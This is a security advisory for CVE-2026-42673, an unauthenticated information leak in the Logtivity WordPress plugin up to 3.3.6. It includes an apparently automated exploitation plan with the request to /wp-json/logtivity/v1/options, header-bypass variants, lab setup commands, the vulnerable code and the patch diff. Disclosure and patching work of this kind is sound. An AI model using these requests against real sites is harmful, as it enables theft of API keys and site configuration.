CVE-2026-42673

Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity <= 3.3.6 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.3.7
Patched in
6d
Time to patch

Description

The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.6. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.3.6
PublishedMay 14, 2026
Last updatedMay 19, 2026
Affected pluginlogtivity

What Changed in the Fix

Changes introduced in v3.3.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42673 ## 1. Vulnerability Summary The **Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity** plugin (<= 3.3.6) contains an unauthenticated information exposure vulnerability in its REST API implementation. The logic in the authorizat…

Show full research plan

Exploitation Research Plan - CVE-2026-42673

1. Vulnerability Summary

The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin (<= 3.3.6) contains an unauthenticated information exposure vulnerability in its REST API implementation. The logic in the authorization check for the /logtivity/v1/options endpoint is flawed, allowing any request to bypass authentication if the Authorization header is missing or does not start with the Bearer prefix. This allows attackers to extract sensitive plugin configuration data and site metadata.

2. Attack Vector Analysis

  • Endpoint: /wp-json/logtivity/v1/options
  • Method: GET
  • Authentication: None required (Unauthenticated).
  • Precondition: The plugin must be configured with an API Key (otherwise the permission_callback returns a missing_api_key error).
  • Vulnerable Component: Logtivity_Rest_Endpoints::verifyAuthorization

3. Code Flow

  1. Registration: The plugin registers a REST route in Core/Services/Logtivity_Rest_Endpoints.php.
    register_rest_route(
        'logtivity/v1',
        '/options',
        [
            'methods'             => 'GET',
            'permission_callback' => function (WP_REST_Request $request) {
                return $this->verifyAuthorization($request->get_header('Authorization'));
            },
            'callback'            => function () { ... },
        ]
    );
    
  2. Authorization Bypass: The verifyAuthorization function in Core/Services/Logtivity_Rest_Endpoints.php (lines 73-101) contains the following logic:
    protected function verifyAuthorization(string $authHeader)
    {
        if ($apikey = (new Logtivity_Options())->getApiKey()) {
            try {
                $keys = explode(' ', $authHeader);
                if (count($keys) == 2 && $keys[0] == 'Bearer') {
                    // ... token parsing and domain validation logic ...
                }
                // BUG: If count != 2 OR $keys[0] != 'Bearer', 
                // execution skips the parsing and hits this return:
                return true; 
    
            } catch (Throwable $e) {
                return new WP_Error('invalid_token', $e->getMessage(), ['status' => 401]);
            }
        }
        return new WP_Error('missing_api_key', ..., ['status' => 401]);
    }
    
  3. Data Exposure: If verifyAuthorization returns true, the callback executes (lines 48-60):
    • It calls $options->getOptions().
    • It retrieves logtivity_last_settings_check_in_at.
    • It returns the aggregated options, check-in delay, and plugin version as a JSON response.

4. Nonce Acquisition Strategy

This endpoint does not require a WordPress nonce. It uses a custom permission_callback based on the Authorization header, which is bypassed as described above.

5. Exploitation Strategy

Step-by-Step Plan:

  1. Identify Target: Verify the plugin is installed and active at /wp-content/plugins/logtivity/.
  2. Trigger Bypass: Send a GET request to the vulnerable REST endpoint. Do not include an Authorization header, or include a malformed one (e.g., Authorization: Basic admin:password).
  3. Receive Payload: The server will return a 200 OK response containing the JSON-encoded configuration options of the plugin.

HTTP Request (using http_request tool):

{
  "method": "GET",
  "url": "http://localhost:8080/wp-json/logtivity/v1/options",
  "headers": {
    "Accept": "application/json"
  }
}

6. Test Data Setup

  1. Install Plugin: Ensure logtivity version 3.3.6 is active.
  2. Configure API Key: The vulnerability requires (new Logtivity_Options())->getApiKey() to return a truthy value.
    • Use WP-CLI to set a dummy API key:
      wp option update logtivity_api_key "VULN-RESEARCH-KEY-9999"
      
      (Note: The option name logtivity_api_key is inferred from the getApiKey method name; if this fails, check wp option list --search=logtivity to find the correct key).
  3. Set Check-in Data:
    wp option update logtivity_last_settings_check_in_at '{"date": "2025-01-01 12:00:00"}'
    

7. Expected Results

  • Response Code: 200 OK
  • Response Body: A JSON object containing sensitive configuration.
    {
      "logtivity_api_key": "VULN-RESEARCH-KEY-9999",
      "logtivity_last_settings_check_in_at": "2025-01-01 12:00:00",
      "logtivity_checkin_delay": "...",
      "version": "3.3.6",
      ... other options ...
    }
    

8. Verification Steps

  1. Check Output: Verify the response JSON contains the logtivity_api_key or other settings defined in the database.
  2. Verify Unauthenticated Access: Repeat the http_request while logged out (ensure no Cookie headers are sent) to confirm no session is required.

9. Alternative Approaches

If the GET request without an Authorization header fails (e.g., due to a WAF or server configuration requiring the header to be present):

  • Try providing a non-matching Bearer string: Authorization: Bearer (single word).
  • Try a different auth type: Authorization: Negotiate test.
  • These will cause count($keys) == 2 && $keys[0] == 'Bearer' to be false, reaching the return true; bypass.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Logtivity plugin is vulnerable to unauthenticated information exposure due to a logic flaw in the REST API authorization check. Attackers can bypass authentication by providing a malformed or missing Authorization header, allowing them to retrieve sensitive plugin configuration, API keys, and site metadata via the `/logtivity/v1/options` endpoint.

Vulnerable Code

// Core/Services/Logtivity_Rest_Endpoints.php:73-101
protected function verifyAuthorization(string $authHeader)
{
    if ($apikey = (new Logtivity_Options())->getApiKey()) {
        try {
            $keys = explode(' ', $authHeader);
            if (count($keys) == 2 && $keys[0] == 'Bearer') {
                $payload = $this->parseToken($keys[1], $apikey);

                $issuer = $payload->iss ?? '';
                if ($this->compareDomains($issuer, logtivity_get_app_url()) == false) {
                    throw new Exception(
                        sprintf(
                            'Request Source: %s',
                            $issuer ? 'invalid' : 'unidentified'
                        )
                    );
                }

                $audience = $payload->aud ?? '';
                if ($this->compareDomains($audience, site_url()) == false) {
                    throw new Exception(
                        sprintf(
                            'Target Site: %s',
                            $audience ? 'incorrect' : 'unidentified'
                        )
                    );
                }
            }

            return true; // <--- BUG: This is reached if the 'if' condition (Bearer check) fails, bypassing auth.

        } catch (Throwable $e) {
            return new WP_Error('invalid_token', $e->getMessage(), ['status' => 401]);
        }
    }

    return new WP_Error('missing_api_key', 'The API Key has not been set on this site', ['status' => 401]);
}

Security Fix

--- Core/Services/Logtivity_Rest_Endpoints.php
+++ Core/Services/Logtivity_Rest_Endpoints.php
@@ -99,7 +99,8 @@
                         );
                     }
                 }
-
-                return true;
+                else {
+                    return new WP_Error('unauthorized', 'Unauthorized access', ['status' => 401]);
+                }
+
+                return true;
 
             } catch (Throwable $e) {

Exploit Outline

The exploit targets the `/wp-json/logtivity/v1/options` REST API endpoint. To trigger the vulnerability, an unauthenticated attacker sends a GET request to this endpoint while intentionally omitting the `Authorization` header or providing a header that does not follow the `Bearer [token]` format (for example, using `Authorization: Basic ...` or `Authorization: Malformed`). Because the `verifyAuthorization` function only performs validation inside an `if` block that checks for the `Bearer` prefix and returns `true` by default if that prefix is missing, the request is authorized. The server then responds with a JSON object containing the plugin's configuration options, including the Logtivity API key and other site settings.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.